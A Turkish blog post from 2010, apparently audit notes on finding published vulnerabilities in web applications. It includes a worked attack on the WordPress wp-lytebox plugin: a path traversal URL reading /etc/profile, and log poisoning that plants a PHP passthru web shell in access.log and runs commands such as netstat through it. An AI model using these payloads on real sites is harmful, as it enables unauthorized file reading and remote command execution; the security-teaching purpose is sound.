30 Mayıs 2010 Pazar

8: Yayınlanmış Zafiyet Arama Teknikleri


  • Denetim adımları:
    • Hedef uygulama belirlenir.
    • Uygulamanın versiyon bilgisi elde edilir.
    • Uygulamanın o versiyonu için yayınlanmış exploitler aranır: Google, milw0rm, exploit-db.com ...
    • Denetleme sırasında bu exploit'in uygulanması sakat bir durum. Çalışan sisteme zarar verebiliriz.
  • Denetleme sırasında önce uygulamanın en son versiyonda olup olmadığına bakılır. Eğer uygulama en son versiyonda değilse genelde bunu belirtir bir rapor (en son versiyona yükseltilmelidir şeklinde) yazılır ve o versiyonun yayınlanmış açıklıkları denenmez.
  • Uygulamanın en son versiyonunu öğrenebilmek için:
    • Sayfa sourcecode'una bakılabilir.
    • Eğer hedef uygulama bir web server ise HTTP response içinde bulunan Server: parametresi kontrol edilir.
    • README.(txt|html vs) dosyalarına bakılır.
  • Genelde açıklıklar uygulamalar için geliştirilmiş plugin'ler üzerinde çıkar. Uygulamanın yazarı ile plugin'in yazarı genelde farklı olur.
  • Bir örnek: Wordpress'in lytebox plugin'inin bir açıklığı için şu şekilde profile dosyasına erişilebilir:
    • http://localhost/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../etc/profile
    • ../ karakterleri root'a inmek için. Linux'te de MS işletim sistemlerinde de bir alt dizine inilir bu şekilde. Bunların sayısının root'a erişmek için olandan çok olması sorun teşkil etmez. Root'a ulaşmak için gereken sayıdan az olmasın yeter.
    • karakteri URL encoding'de NULL karakterinin karşılığı. Bunu koymazsak browser php uygulaması için adresin sonuna otomatik olarak ".php" ekliyor, biz de bunu istemiyoruz.
    • Aynı örnek için başka bir açıklık:
      • Telnet ile server'a ilgili porttan bağlanarak "GET /<?php passthru(\$_GET[cmd]); ?> HTTP/1.0" komutunu çalıştırıyoruz. Ne olduğunu bilmemize bile gerek yok, milw0rm'da gördük, uyguladık.
      • Bu komut, access log içine gömülüyor.
      • URL olarak main.php?'den sonra "cmd=netstat -tpln&pg=../../../../../../../../../../../../../../../../var/log/apache2/access.log" yazıyoruz. Bu bize access.log'un içini gösterir. Bizim gömdüğümüz komutun sonucuyla birlikte...
      • "cmd="ten sonra web server'ın kurulu olduğu işletim sisteminin (burada linux) kabul edeceği herhangi bir komutu (mesela ls -al gibi) yazabiliriz. Komutun sonucu log'un içine yazılacaktır.

Hiç yorum yok:

Yorum Gönder

Web Uygulama Sızma Testleri İçin Kontrol Listeleri - V

Checklist for Web App Pentesting - V 6. Veri Denetimi (Data Validation) Testleri 6.1 Girdi Denetimi Bütün girdiler denetlenmelidir....